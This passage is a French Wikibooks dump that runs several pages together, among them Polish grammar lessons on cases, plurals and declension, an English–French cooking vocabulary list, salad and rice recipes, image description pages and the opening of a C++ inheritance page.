réponse serait "Ala" seul, sans un verbe. En particulier, "ja" et "ty", et aussi leurs équivalents pluriels "my" et "wy", sont presque toujours enlevés. ---- [[Polonais:Phrases polonaises de base 2|< Phrases polonaises de base 2 <]] [[Enseignement du polonais|^ Polonais ^]] [[Polonais:Ordre des mots dans une phrase|> Ordre des mots dans une phrase >]] Polonais:Ordre des mots dans une phrase 3507 15012 2005-05-07T22:49:44Z Jim2k 289 [[en:Polish:Order of words in a sentence]] [[Polonais:Plus sur les noms - genres|< Plus sur les noms - genres <]] [[Enseignement du polonais|^ Polonais ^]] [[Polonais:Pluriel|> Pluriel >]] ---- En polonais, il est possible de déplacer les mots dans une phrase, et d'enlever le sujet ou l'objet s'ils sont évidents à partir du contexte. Ces phrases veulent toutes dire "Ala possède un chat" : * Ala ma kota * Ala kota ma * Kota ma Ala * Ma Ala kota * Kota Ala ma * Ma kota Ala Seule la première phrase sonne naturelle en polonais, les autres devraient être utilisées dans un contexte emphatique. S'ils sont apparents à partir du contexte, vous pouvez enlever le sujet, l'objet et même le verbe : * Ma kota - peut être utilisé si l'on connait la personne qui parle de manière évidente. * Ma - réponse pour "Czy Ala ma kota ?" (Ala a-t'il un chat ?) * Ala - réponse pour "Kto ma kota ?" (qui a un chat ?) * Kota - réponse pour "Co ma Ala ?" (que possède Ala ?) * Ala ma - ceci sonne moins naturel. Il y a une tendance en polonais d'enlever le sujet plutôt que l'objet et rarement vous connaissez l'objet mais pas le sujet. Si la question était "Kto ma kota ?" (qui a un chat ?), la réponse serait "Ala" seul, sans un verbe. En particulier, "ja" et "ty", et aussi leurs équivalents pluriels "my" et "wy", sont presque toujours enlevés. [[Polonais:Plus sur les noms - genres|< Plus sur les noms - genres <]] [[Enseignement du polonais|^ Polonais ^]] [[Polonais:Pluriel|> Pluriel >]] Anglais:Cooking, la cuisine 3508 42264 2006-05-14T06:34:45Z Mly 1518 /* Kitchen ustensils : les ustensiles de cuisine'' */ a recipe : ''une recette''<br />a dish : ''un plat''<br />a regional dish or a regional speciality : ''une spécialité régionale''<br /> == Desserts : ''les desserts'' == a cake : ''un gâteau''<br />a chocolate charlotte : ''une charlotte au chocolat''<br />a tart or a pie (am.) : ''une tarte''<br />a custard tart : ''une tarte à la crème''<br /> a tartlet : ''une tartelette''<br /> == Cooking techniques : ''les techniques de cuisine''== to add : ''ajouter''<br />to blanch : ''faire blanchir''<br />to boil : ''bouillir''<br />to boil down : ''réduire''<br /> double-boiller : ''bain marie''<br />to brown : ''faire roussir, faire dorer''<br />to cut : ''couper''<br />to drain : ''égoutter''<br />to lower : ''réduire (la cuisson par exemple)''<br />to mix : ''mixer''<br />to prepare : ''préparer''<br />to season : ''assaisonner''<br />to sprinkle : ''saupoudrer, arroser légèrement''<br />to trim : ''parer'' <br /> allow to boil gently : ''laisser mijoter'' == Kitchen ustensils : les ustensiles de cuisine'' == a knife (pl knives) : ''un couteau''<br />a fork : ''une fourchette''<br />a spoon : ''une cuillère''<br />a coffee spoon : ''une cuillère à café''<br />a teaspoonful : ''une cuillère à café (en mesure)''<br />a tablespoonful : ''une cuillère à soupe (en mesure)''<br />a whisk : ''un fouet'' <br /> a slice : ''une rondelle, une tranche'' ---- ''Voir aussi'' [[Anglais : Food & Drink / Aliments et Boissons|Food & Drink : Aliments et Boissons]] ---- ''Retour au'' [[Enseignement de l'anglais|sommaire]] ---- Cuisine:Recettes à base de riz 3512 16514 2005-07-14T19:20:05Z Antoinel 182 __NOTOC__ == Cuisson du riz == == Salade de riz == La salade de riz est un plat rapide que l'on consomme le plus souvent en été et qui se prépare rapidement. ==== Ingrédients (pour 4 personnes) ==== * 350g de riz * 200g de thon * 3 tomates * 100g de maïs * 4 oeufs durs * mayonnaise ==== Préparation ==== # Faire cuire le riz puis l'égoutter et le laisser refroidir. # Couper les oeufs durs en quartier. # Mélanger tous les ingrédients dans un saladier. == Paëlla == == Riz à la cantonaise == == [[Cuisine:Risotto_de_saumon|Risotto de saumon]] == == Risotto au proscuitto == ==Voir aussi== ===[[Cuisine:Recettes végétaliennes|Recettes végétaliennes]]=== * [[Cuisine:Riz parfumé aux herbes|Riz parfumé aux herbes]] * [[Cuisine:Riz Rouge|Riz Rouge]] * [[Cuisine:Riz aux noix de Cajou|Riz aux noix de Cajou]] * [[Cuisine:Riz à la sauce avocat|Riz à la sauce avocat]] {{Cuisine}} Cuisine:Recettes rapides 3513 28885 2006-01-14T10:23:03Z Zivax 1021 Omelette Angevine __NOTOC__ * [[Cuiqine:Croque-monsieur|Croque-monsieur]] * [[Cuisine:Salade_de_riz|Salade de riz]] * [[Cuisine:Omelette|Omelette]] * [[Cuisine:Omelette Angevine|Omelette Angevine]] {{Cuisine}} Image:Case ecriture.png 3514 15018 2005-05-08T18:57:17Z M4RC0 274 petite case d'écriture pour les hiragana/katakana fait par moi avec inkscape.. {{PD}} petite case d'écriture pour les hiragana/katakana fait par moi avec inkscape.. {{PD}} Image:Espace blanc.png 3515 15019 2005-05-08T19:08:45Z M4RC0 274 une espace blanc pour séparer deux images .. vous voulez vraiment savoir avec quel logiciel j'ai utilisé ;-) {{PD}} une espace blanc pour séparer deux images .. vous voulez vraiment savoir avec quel logiciel j'ai utilisé ;-) {{PD}} Polonais:Pluriel 3516 15020 2005-05-08T20:01:46Z Jim2k 289 Traduction de l'article anglais = Pluriel = Comme la plupart des langues indo-européennes, et à la différence du chinois ou du japonais, presque tout en [[Enseignement du polonais|Polonais]] dépend du nombre, qui peut être soit pluriel, soit singulier. Jetons d'abord un coup d'oeil aux verbes. <table border=1> <tr><th rowspan=2>Sens<th colspan=3>Singulier<th colspan=3>Pluriel <tr><th>Première personne<th>Deuxième personne<th>Troisième personne<th>Première personne<th>Deuxième personne<th>Troisième personne <tr><td>Manger<td>jem<td>jesz<td>je <td>jemy<td>jecie<td>jedzą <tr><td>Boire<td>piję<td>pijesz<td>pije <td>pijemy<td>pijecie<td>piją <tr><td>Voir<td>widzę<td>widzisz<td>widzi <td>widzimy<td>widzicie<td>widzą <tr><td>Lire<td>czytam<td>czytasz<td>czyta <td>czytamy<td>czytacie<td>czytają <tr><td>Ecrire<td>piszę<td>piszesz<td>pisze <td>piszemy<td>piszecie<td>piszą <tr><td>Etre<td>jestem<td>jesteś<td>jest <td>jesteśmy<td>jesteście<td>są <tr><td>Avoir<td>mam<td>masz<td>ma <td>mamy<td>macie<td>mają <tr><td>Penser<td>myślę<td>myślisz<td>myśli <td>myślimy<td>myślicie<td>myślą <tr><td>Conduire<td>jadę<td>jedziesz<td>jedzie <td>jedziemy<td>jedziecie<td>jadą <tr><td>Donner<td>daję<td>dajesz<td>daje <td>dajemy<td>dajecie<td>dają </table> Et quelques noms : <table border=1> <tr><th rowspan=2>Genre<th rowspan=2>Sens<th colspan=2>Singulier<th colspan=2>Pluriel <tr><th>Nominatif<th>Accusatif<th>Nominatif<th>Accusatif <tr><td>Féminin<td>Fille<td>Dziewczyna<td>Dziewczynę<td colspan=2>Dziewczyny <tr><td rowspan=2>Neutre<td>Enfant<td colspan=2>Dziecko<td colspan=2>Dzieci <tr> <td>Bière<td colspan=2>Piwo<td colspan=2>Piwa <tr><td>Masculin personnel<td>Garçon<td>Chłopak<td>Chłopaka<td>Chłopaki<td>Chłopaków <tr><td>Masculin animé<td>Chat<td>Kot<td>Kota<td colspan=2>Koty <tr><td>Masculin inanimé<td>Ordinateur<td colspan=2>Komputer<td colspan=2>Komputery </table> Comme vous pouvez le voir, avec l'exception du masculin personnel, le nominatif et l'accusatif sont les mêmes au pluriel (au masculin, les accusatifs sont les mêmes que les génitifs). Le fait qu'ils soit identiques si souvent (plus de pluriels et plus de neutres singuliers et masculin inanimés) est une des raisons pourquoi l'ordre des mots n'est pas très flexible. Comme dans les autres langues indo-européennes, le verbe s'accorde avec le sujet. * Ala ma komputery - Ala a des ordinateurs * Dziewczyny mają komputer - Les filles ont un ordinateur * Koty piją mleko - Les chats boivent le lait Une chose qui doit être mentionnée est la dénombrabilité. Les noms non-dénombrables sont généralement utilisés au singulier. Mais en pratique, il n'existe pas de mot en polonais qui ne peut pas être utilisé au pluriel. A la différence de l'anglais, les noms non-dénombrables peuvent être utilisés comme dénombrable avec quelques compteurs '''implicites'''. Par exemple, le nom non-dénombrable "piwo" (bière), peut être utilisé au pluriel comme "dwa piwa" (deux bières), s'il est évident que la sorte de décompte est exprimé (dans ce cas un contenant - comme une bouteille, une canette ou un verre). Polonais:Cas des noms 3518 15021 2005-05-09T20:41:27Z Jim2k 289 Traduction de l'article anglais = Cas des noms = Il existe sept cas de déclinaisons des noms et des adjectifs en [[Enseignement du polonais|polonais]]. Jusque là, nous avons seulement introduit le nominatif ("mianownik") et l'accusatif ("biernik"), dans [[Polonais:Phrases de base 1]]. La liste entière, dans l'ordre traditionnel, est : * Nominatif (mianownik) * Génitif (dopełniacz) * Datif (celownik) * Accusatif (biernik) * Instrumental (narzędnik) * Locatif (miejscownik) * Vocatif (wołacz) Comme pour le latin, le '''vocatif''' a généralement la même forme que le nominatif, et est très rare dans la pratique. Le vocatif de tous les noms pluriels, de tous les noms neutres et de tous les adjectifs ont la même forme que le nominatif, et le vocatif des noms propres est utilisé très rarement. Vous pouvez penser que c'est un cas archaïque, en fait, il a disparu dans la plupart des autres langues slaves. Le '''locatif''' n'est jamais utilisé seul, seulement en connection avec certaines prépositions, comme "w" (dans) et "o" (à propos). Bien sur, les prépositions n'ont pas réellement un "sens", et celles-ci sont des approximations grossières. * Chłopak myśli o dziewczynie - Le garçon pense à la fille * Adam jest w sklepie - Adam est dans une boutique * sklep - boutique L''''instrumental''' peut être utilisé seul pour le nom de l'outil qui est utilisé pour une action donnée, ou avec certaines prépositions, comme "z" ("avec"): * Ala jedzie samochodem - Alice conduit une voiture * Adam jest z Alą - Adam est avec Ala (peut vouloir dire soit "en ce moment", ou de manière plus permanente, par exemple pour un garçon et sa petite amie) * samochód - voiture De façon un peu plus surprenante, l'instrumental est aussi utilisé dans les phrases "X est Y". * Ala jest dziewczyną - Ala est une fille * Adam jest chłopakiem - Adam est un garçon La fonction principale de l''''accusatif''' est pour l'objet de la phrase. Mais il peut aussi être utilisé avec certaines prépositions. Dans de tels cas, généralement de pair avec soit le locatif ou soit l'instrumental, il peut prendre une préposition, et le locatif/instrumental signifie l'état où l'accusatif veut dire changer. C'est très proche du latin. Exemples: * avec le locatif - "na stole" - sur la table * avec l'accusatif - "na stół" - sur table * avec le locatif - "na poczcie" - à la poste * avec l'accusatif - "na pocztę" - vers la poste Mais cela ne marche pas toujours de cette manière. "w" (dans) peut prendre le locatif, mais la préposition correcte de changement est "do" avec le génitif. "w" avec l'accusatif est rarement utilisé. Par exemple "w sklepie" (dans une boutique), mais "do sklepu" (vers la boutique) et non "w sklep". Le '''datif''' est utilisé pour l'objet indirect. Par exemple : * Ala daje kotu mleko - Ala donne du lait au chat (chat est au datif) A la différence du latin et avec une plus grande extension l'allemand, le '''génitive''' est un cas très important en polonais. Il indique la possession, comme dans : * Adam widzi kota Ali - Adam vois le chat d'Ala (Ala est au génitif) * Kot Ali pije mleko - Le chat d'Ala boit du lait (Ala est encore au génitif) Mais il peut aussi être objet dans une phrase négative (nie est la particule de négation, placée généralement devant le verbe), si l'objet est à l'accusatif : * Kot pije mleko - Le chat boit du lait (lait est à l'accusatif) * Kot nie pije mleka - Le chat ne boit pas de lait (milk est au génitif) * Ala jest dziewczyną - Ala est une fille (fille est à l'instrumental) * Adam nie jest dziewczyną - Adam n'est pas une fille (fille est à l'instrumental) * Ala daje kotu mleko - Ala donne du lait au chat (lait est à l'accusatif, chat est au datif) * Ala nie daje kotu mleka - Ala ne donne pas de lait au chat (lait est au génitif, chat est au datif) Le génitif est aussi utilisé avec les unités, comme : * puszka piwa - une canette de bière (bière est au génitif) * puszka - can Le '''nominatif''' n'a pas d'autres usages. Avant de montrer les tables de déclinaisons, regardons les adjectifs : Polonais:Adjectifs 3519 15022 2005-05-09T21:19:33Z Jim2k 289 Traduction de l'article anglais = Adjectifs = L'adjectif est une partie très puissante du discours [[Enseignement du polonais|polonais]]. Il se décline très régulièrement suivant le cas, le nombre et le genre. Il peut être utilisé comme un nom. Par exemple, les adjectifs polonais "bogaty" (riche) et "czarny" (noir) sont souvent utilisés comme des "noms" (prenant les formes "bogata" et "czarna" dans le genre féminin). Alors qu'il n'existe seulement qu'un radical, le groupe de consonnes finales prends des fins différentes. Le vocatif a toujours la même forme que le nominatif. <table border=1> <tr align=center><th rowspan="2">Cas</th><th colspan="4">Singulier</th><th colspan="2">Pluriel</th></tr> <tr><th>Féminin</th><th>Masculin personnel et masculin animé</th><th>Masculin inanimé</th><th>Neutre</th><th>Masculin personnel</th><th>Autres genres</th></tr> <tr align=center><th>Nominatif</th> <td>-a/-ia <td bgcolor="#90ee90" colspan=2>-y/-i <td bgcolor="#90ee90">-e/-ie <td bgcolor="pink">-i/-y <td bgcolor="#90ee90">-e/-ie <tr align=center><th>Génitif</th> <td bgcolor="#90ee90">-ej/-iej <td bgcolor="#90ee90" colspan=3>-ego/-iego <td bgcolor="#90ee90" colspan=2>-ych/-ich <tr align=center><th>Datif</th> <td bgcolor="#90ee90">-ej/-iej <td bgcolor="#90ee90" colspan=3>-emu/-iemu <td bgcolor="#90ee90" colspan=2>-ym/-im <tr align=center><th>Accusatif</th> <td bgcolor="#add8e6">-ą/-ią <td bgcolor="#90ee90">-ego/-iego <td bgcolor="#90ee90">-y/-i <td bgcolor="#90ee90">-e/-ie <td bgcolor="#90ee90">-ych/-ich <td bgcolor="#90ee90">-e/-ie <tr align=center><th>Instrumental</th> <td bgcolor="#add8e6">-ą/-ią <td bgcolor="#90ee90" colspan=3>-ym/-im <td bgcolor="#90ee90" colspan=2>-ymi/-imi <tr align=center><th>Locative</th> <td bgcolor="#90ee90">-ej/-iej <td bgcolor="#90ee90" colspan=3>-ym/-im <td bgcolor="#90ee90" colspan=2>-ych/-ich </table> Cases, par couleur: * Blanches - forme de base (nominatif féminin singulier) * <font color="#90ee90">Verte</font> - deuxième forme (avec "i") pour le cas des adjectifs finissant par "ka", "ga" ou "ia" dans la forme de base, première forme (sans "i") sinon * <font color="#add8e6">Bleue</font> - deuxième forme (avec "i") pour le cas des adjectifs finissant par "ia" dans la forme de base, première forme (sans "i") sinon * <font color="pink">Rose</font> - le groupe de consonnes finales doit être formée avec le palais (ou "adouci"), et "i" ou "y" doivent être ajouté, suivant le résultat Certaines règles d'adoucissement sont (comparée au nominatif masculin singulier) : <table border=1> <tr><th colspan="2">"y" change en "i"</td> <tr><td>by<td>bi</tr> <tr><td>my<td>mi</tr> <tr><td>ny<td>ni</tr> <tr><td>wy<td>wi</tr> <tr><th colspan="2">Changement de consonne, "y" reste "y"</td> <tr><td>ry<td>rzy</tr> <tr><th colspan="2">Changement de consonne, "y" change en "i"</td> <tr><td>ły<td>li</tr> <tr><td>szy<td>si</tr> <tr><th colspan="2">Changement de consonne, "i" change en "y"</td> <tr><td>ki<td>cy</tr> <tr><td>gi<td>dzy</tr> <tr><th colspan="2">Pas de changement, avec "i"</td> <tr><td>pi<td>pi</tr> <tr><td>si<td>si</tr> <tr><td>wi<td>wi</tr> <tr><th colspan="2">Pas de changement, avec "y"</td> <tr><td>rzy<td>rzy</tr> </table> Les formes d'adjectif peuvent aussi prendres les formes comparatives et superlatives. Polonais:Déclinaison du nom féminin 3520 15023 2005-05-10T15:55:58Z Jim2k 289 Fin de la traduction de l'article anglais = Déclinaison du nom féminin = La déclinaison des noms en [[Enseignement du polonais|polonais]] est moins régulière que les adjectifs, mais suivent un motif qui, de beaucoup de manières, est similaire à la déclinaison des adjectifs. Regardons quelques déclinaisons typiques de noms féminins (toutes les formes vocatives finissent en -o (dziewczyno, kobieto et ainsi de suite) au singulier et sont identique au nominatif au pluriel) : <table border=1> <tr><th colspan=3>Fille <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>dziewczyn'''a''' <td>dziewczyn'''y''' <tr><th>Génitif <td>dziewczyn'''y''' <td>dziewczyn <tr><th>Datif <td>dziewczyn'''ie''' <td>dziewczyn'''om''' <tr><th>Accusatif <td>dziewczyn'''ę''' <td>dziewczyn'''y''' <tr><th>Instrumental <td>dziewczyn'''ą''' <td>dziewczyn'''ami''' <tr><th>Locatif <td>dziewczyn'''ie''' <td>dziewczyn'''ach''' <tr><th colspan=3>Femme <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>kobie'''ta''' <td>kobiet'''y''' <tr><th>Génitif <td>kobie'''ty''' <td>kobiet <tr><th>Datif <td><font color="#0000FF">kobie'''cie'''</font> <td>kobiet'''om''' <tr><th>Accusatif <td>kobie'''tę''' <td>kobiet'''y''' <tr><th>Instrumental <td>kobie'''tą''' <td>kobiet'''ami''' <tr><th>Locatif <td><font color="#0000FF">Kobie'''cie'''</font> <td>kobiet'''ach''' <tr><th colspan=3>Fourmi <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>mrówk'''a''' <td>mrówk'''i''' <tr><th>Génitif <td>mrówk'''i''' <td><font color="#00FF00">mrówek</font> <tr><th>Datif <td><font color="#0000FF">mrówc'''e'''</font> <td>mrówk'''om''' <tr><th>Accusatif <td>mrówk'''ę''' <td>mrówk'''i''' <tr><th>Instrumental <td>mrówk'''ą''' <td>mrówk'''ami''' <tr><th>Locatif <td><font color="#0000FF">mrówc'''e'''</font> <td>mrówk'''ach''' <tr><th colspan=3>Café <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>kaw'''a''' <td>kaw'''y''' <tr><th>Génitif <td>kaw'''y''' <td>kaw <tr><th>Datif <td>kaw'''ie''' <td>kaw'''om''' <tr><th>Accusatif <td>kaw'''ę''' <td>kaw'''y''' <tr><th>Instrumental <td>kaw'''ą''' <td>kaw'''ami''' <tr><th>Locatif <td>kaw'''ie''' <td>kaw'''ach''' <tr><th colspan=3>Vache <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>krow'''a''' <td>krow'''y''' <tr><th>Génitif <td>krow'''y''' <td><font color="#FF0000">krów</font> <tr><th>Datif <td>krow'''ie''' <td>krow'''om''' <tr><th>Accusatif <td>krow'''ę''' <td>krow'''y''' <tr><th>Instrumental <td>krow'''ą''' <td>krow'''ami''' <tr><th>Locatif <td>krow'''ie''' <td>krow'''ach''' </table> Comme vous le voyez, c'est régulier. Les changement possibles sont : * <font color="#0000FF">adoucissement du groupe de consonnes finales au datif et locatif singulier (qui ont la même forme)</font> * <font color="#FF0000">changement de "o" en "ó" (prononcé "ou") au génitif pluriel</font> * <font color="#00FF00">insertion d'un "e" entre les deux consonnes finales au génitif pluriel.</font> Vous pouvez pensez à ce "e" comme une sorte d'aide à la prononciation. "mrówk" serait un peu plus difficile à dire sans ce "e". La langue polonaise permet des groupes de consonnes compliqués au début des syllabes, mais essaie d'éviter des syllabes complexes pour la fin. Ces changements ne sont pas spécifiques à la déclinaison du nom féminin - ils surviennent dans la langue polonaise, aussi, vous devriez être à l'aise pour les utiliser. Les noms féminins finissant par "-ia" sont un peu moins typiques : <table border=1> <tr><th colspan=3>Comédie <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>komed'''ia''' <td>komed'''ie''' <tr><th>Genitif <td>komed'''ii''' <td>komed'''ii''' <tr><th>Datif <td>komed'''ii''' <td>komed'''iom''' <tr><th>Accusatif <td>komed'''ię''' <td>komed'''ie''' <tr><th>Instrumental <td>komed'''ią''' <td>komed'''iami''' <tr><th>Locatif <td>komed'''ii''' <td>komed'''iach''' <tr><th>Vocatif <td>komed'''io''' <td>komed'''ie''' </table> Notons qu'au génitive et à l'accusatif, la prononciation est la même. Ce n'est pas commun en polonais, et peut causer certains problèmes si le nombre n'est pas évident dans le contexte. Une solution est d'accentuer la différence entre "e" et "ę" dans le discours (qui sont généralement prononcé de la même façon à la fin des mots). Une meilleure solution est d'utiliser un adjectif ou un pronom, par exemple : * "tej komedii" (génitif singulier, de cette comédie) * "tych komedii" (génitif pluriel, de ces comédies) * "tę komedię" (accusatif singulier, cette comédie) * "te komedie" (plural accusative, these comedies) Et les noms féminins abstraits, finissant par "-ść" (note : les formes vocatives): <table border=1> <tr><th colspan=3>Amour <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>miłość <td>miłośc'''i''' <tr><th>Génitif <td>miłośc'''i''' <td>miłośc'''i''' <tr><th>Datif <td>miłośc'''i''' <td>miłośc'''iom''' <tr><th>Accusatif <td>miłość <td>miłośc'''i''' <tr><th>Instrumental <td>miłośc'''ią''' <td>miłośc'''iami''' <tr><th>Locatif <td>miłośc'''i''' <td>miłośc'''iach''' <tr><th>Vocatif <td>miłośc'''i''' <td>miłośc'''i''' <tr><th colspan=3>Hauteur <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>wysokość <td>wysokośc'''i''' <tr><th>Génitif <td>wysokośc'''i''' <td>wysokośc'''i''' <tr><th>Datif <td>wysokośc'''i''' <td>wysokośc'''iom''' <tr><th>Accusatif <td>wysokość <td>wysokośc'''i''' <tr><th>Instrumental <td>wysokośc'''ią''' <td>wysokośc'''iami''' <tr><th>Locatif <td>wysokośc'''i''' <td>wysokośc'''iach''' <tr><th>Vocatif <td>wysokośc'''i''' <td>wysokośc'''i''' </table> Il y a de la "magie" ici, avec "ść" changeant en "śc" mais c'est seulement lorsque l'on parle. Vous ne devez jamais écrire la version adoucie d'une consonne avant une voyelle - vous la changez en version "normale" et vous ajoutez "i" pour la marquer comme "douce". Vous n'avez pas à ajouter "i" s'il est déjà présent. Sans ces fins "magiques", cela ressemblerait à : <table border=1> <tr align=center><th> <th>Singulier <th>Pluriel <tr align=center><th>Nominatif <td> <td>'''i''' <tr align=center><th>Génitif <td>'''i''' <td>'''i''' <tr align=center><th>Datif <td>'''i''' <td>'''om''' <tr align=center><th>Accusatif <td> <td>'''i''' <tr align=center><th>Instrumental <td>'''ą''' <td>'''ami''' <tr align=center><th>Locatif <td>'''i''' <td>'''ach''' </table> Essayons d'utiliser ces connaissances dans la pratique. * Ala myśli o miłości - Ala pense à l'amour (amour au locatif) * Ala nie myśli o miłości - Ala ne pense pas à l'amour (comme au-dessus) * Dziewczyny lubią komedie - Les filles aiment les comédies (comédies à l'accusatif) * Kobieta pije kawę - Une femme boit un café (café à l'accusatif) * Dziewczyna nie pije kawy - Une fille ne boit pas de café (café au génitif) * Basia nie widzi krów - Basia ne voit pas de vaches (vaches au génitif) * Marta nie lubi mrówek - Marta n'aime pas les fourmis (fourmis au génitif) * Marta - un autre prénom féminin courant * myśli - troisième personne singulier de "penser" * lubi - troisième personne singulier d'"aimer" * lubią - troisième personne pluriel d'"aimer" Cuisine:Salade de mangues thaïe aux arachides rôties 3522 15025 2005-05-11T10:42:24Z Sarvok 270 ==Ingrédients== * 2 limes ''et'' 60mL de jus de lime * 15mL de sauce soya * 15mL de sucre * 1 petit piment jalapeño épépiné et finement haché (''ou'' 2mL de flacons de piment fort) * 30mL d’huile d'arachide * 2 mangues mûres, mais fermes * 2 poivrons de préférence 1 rouge et 1 jaune * 1 carotte moyenne * 2 oignons verts * 125mL de menthe ou de coriandre fraîche hachée * 2L de laitues variées (coupées en bouchées si nécessaire) * 75mL d'arachides rôties* grossièrement hachées * sel, au goût, ''* : Disposer les arachides hachées sur une tôle à biscuits en une seule couche et mettre dans un four préalablement chauffé à 180°C. Rôtir de 7 à 10 min en les remuant de temps à autre jusqu'à ce que leur odeur soit bien perceptible.'' ==Préparation== * Râper finement le zeste des limes et mettre dans une tasse à mesurer avec le jus de lime. Incorporer avec un fouet la sauce soya, le sucre et les piments jusqu'à ce que le sucre soit dissout. Incorporer graduellement l'huile d'arachide et bien mélanger. Saler au goût. Réserver cette vinaigrette. * Peler les mangues et séparer la chair du noyau. Couper la chair en languettes et placer dans un bol. Épépiner les poivrons, les couper en languettes et les mettre dans le bol. Râper grossièrement la carotte et trancher finement les oignons verts. Ajouter au reste la menthe. Mélanger délicatement. Verser ce mélange dans un grand bol avec les laitues. * Ajouter la vinaigrette et mélanger. Décorer avec les arachides rôties et servir dans un plat de service ou dans un grand bol à salade. Cuisine:Salade de chicons et haricots blancs 3523 15026 2005-05-11T10:45:37Z Sarvok 270 ==Ingrédients== * 350g de pâtes fraîches larges (aux trois couleurs ou aux épinards pour une salade plus colorée) * 15mL d’huile d'arachide * 3 oignons verts tranchés * 300mL de champignons tranchés * 50mL de basilic frais haché '''Vinaigrette''' * 25mL d’huile de sésame * 25mL de sauce soya * 20mL de beurre d'arachide croquant * quelques gouttes de sauce au piment fort ==Préparation== * Dans une grande casserole remplie d'eau bouillante salée, cuire les pâtes environ 3 à 4 min, jusqu'à ce qu'elles soient tendres mais fermes (al dente). Bien égoutter et rincer à l'eau froide. Déposer dans un grand bol de service. Verser l'huile d'arachide et remuer. * Dans un petit bol, mélanger l'huile de sésame, la sauce soya, le beurre d'arachide et la sauce au piment fort. Verser sur les pâtes et remuer pour bien couvrir. * Ajouter les oignons verts, les champignons et le basilic. Cuisine:Salade mixte 3524 15027 2005-05-11T10:51:00Z Sarvok 270 ==Ingrédients== * 1 salade * 150g de croûtons de pain * 1 pomme verte en dés * 50g de noix * sel, poivre, huile, vinaigre ==Préparation== * Nettoyez la salade et placez-la dans un saladier. Ajouter les autres ingrédients : les croûtons de pain, la pomme verte en dés ainsi que les noix. * Assaisonner selon votre goût et déguster bien frais. Cuisine:Salade de pommes et pois chiches 3525 15028 2005-05-11T10:52:05Z Sarvok 270 ==Ingrédients== * 500mL de pois chiches cuits * 2 pommes coupées en petits morceaux * 3 oignons finement hachés * 125mL de céleri haché * 15mL de jus de citron, 15mL d’huile d’olive, ciboulette et basilic hachés, sel et poivre, au goût. ==Préparation== *Dans un saladier, mélanger : pois chiches, pommes coupées, oignons et céleri. Dans un récipient à vinaigrette, bien mélanger : jus de citron, huile d’olive, ciboulette, basilic, sel et poivre. Verser sur les pois chiches. * Laisser macérer quelques temps au réfrigérateur avant de servir. Cuisine:Salade au navet 3526 15029 2005-05-11T10:54:07Z Sarvok 270 ==Ingrédients== * 1 navet * 2 pommes * 1 poignée de graines de courge * 3 cuillères à soupe d'huile de tournesol, 1 citron, vinaigre ==Préparation== * Frottez le navet sous le robinet avec une brosse à légumes et râpez-le. Épluchez puis râpez les pommes. * Disposez navet et pommes dans les assiettes, arrosez d'huile de tournesol, d'un filet de vinaigre. Salez et parsemez de graines de courges grillées à sec puis concassées. ''Le navet est particulièrement riche en minéraux et oligo-éléments.'' Cuisine:Salade de radis roses aux graines germées 3527 15030 2005-05-11T10:55:16Z Sarvok 270 ==Ingrédients== * 2 bottes de radis roses * 1 poignée de graines d'alfalfa germées * huile d'olive, citron, noisettes (facultatif), sel. ==Préparation== * Nettoyez vos radis et coupez-les en rondelles. Mélangez les radis aux graines d'alfalfa rincées et arrosez d'huile d'olive et de citron. Salez. * Juste avant de servir, parsemez la salade de noisettes grossièrement concassées au mortier. * Servez frais. Cuisine:Salade de soja et de poires à la sauce sésame 3528 15031 2005-05-11T10:59:14Z Sarvok 270 ==Ingrédients== * 250g de pousses de pois mange-tout * 250g de pousses de soja fraîches * 30g de ciboulette hachée * 100g de pois mange-tout * 1 branche de céleri * 2 poires mûres * coriandre fraîche, graines de sésame. '''sauce''' * 2 cuillères à soupe de sauce de soja, * 1 cuillère à thé d'huile de sésame * 1 cuillère à soupe de sucre rouX * 2 cuillères à soupe d'huile d'arachide * 1 cuillère à soupe de vinaigre de riz. ==Préparation== * Laver et égoutter les pousses de pois mange-tout. Retirer l'extrémité brune des pousses de soja. Couper les pois et le céleri en fins bâtonnets. * Peler et épépiner les poires. Les couper en bâtonnets, les mettre dans un saladier et couvrir d'eau pour les empêcher de brunir. * Egoutter les poires. Mettre tous les ingrédients de la salade et les brins de coriandre dans un grand saladier. * Verser la sauce et tourner délicatement. Saupoudrer de graines de sésame et servir immédiatement. '''Sauce''' * Dans un bocal, réunir tous les ingrédients. Secouer vigoureusement. Cuisine:Salade de tofu aux herbes sauce au gomasio 3529 15032 2005-05-11T11:02:03Z Sarvok 270 ==Ingrédients== * 250g de tofu * 2 poignées de pousses de blettes ou de mesclun '''Sauce''' * 2 cuillères à soupe d’huile de sésame * 1 cuillère à soupe pamplemousse * 2 cuillères à soupe de gomasio (sel de sésame) * 1 cuillère à soupe de graines de sésame * poivre blanc du moulin ==Préparation== * Laver les pousses de blettes (ou le mesclun) et essorez-les. Couper le tofu en gros dés. * Mélanger l’huile de sésame et le jus de pamplemousse. * Ajouter le gomasio, les graines de sésame et un peu de poivre moulu. Mélanger le tofu et la salade, verser la sauce et remuer bien. * Servir dans un grand saladier ou bien répartir dans de larges verres. Cuisine:Salade de bananes 3530 15033 2005-05-11T11:04:47Z Sarvok 270 ==Ingrédients== * 1 petit ananas * 4 bananes pas trop mûres * 2 citrons verts * 200g de sucre (rouX de préférence) * 1 gousse de vanille * 25cL d’eau ==Préparation== * Zestez finement les citrons verts et pressez-les. Coupez les bananes en rondelles dans un récipient, ajoutez les jus de citrons et les zestes. * Mélangez bien, laissez mariner, réservez. * Pendant 5 min, faire bouillir l’eau, le sucre et la gousse de vanille fendue en deux pour obtenir un sirop. Versez la moitié de ce sirop sur les bananes. Laissez refroidir, réservez au frais. * Enlevez la peau et le cœur de l’ananas. Passez-le au mixer pour obtenir une purée. Ajoutez le reste du sirop. * Versez la préparation dans un récipient assez large et pas trop haut. Mettez-le au congélateur et remuez de temps en temps à la fourchette jusqu’à ce que le granité congèle. Programmation C plus plus Héritage 3531 36812 2006-03-09T19:30:49Z Merrheim 1032 {{Programmation C++}} L'héritage est le fait de faire descendre une classe d'une autre. Par exemple, la classe rectangle descend de la classe polygone, le rectangle est un polygone et hérite donc de tous les attributs de polygone, mais il a quelques 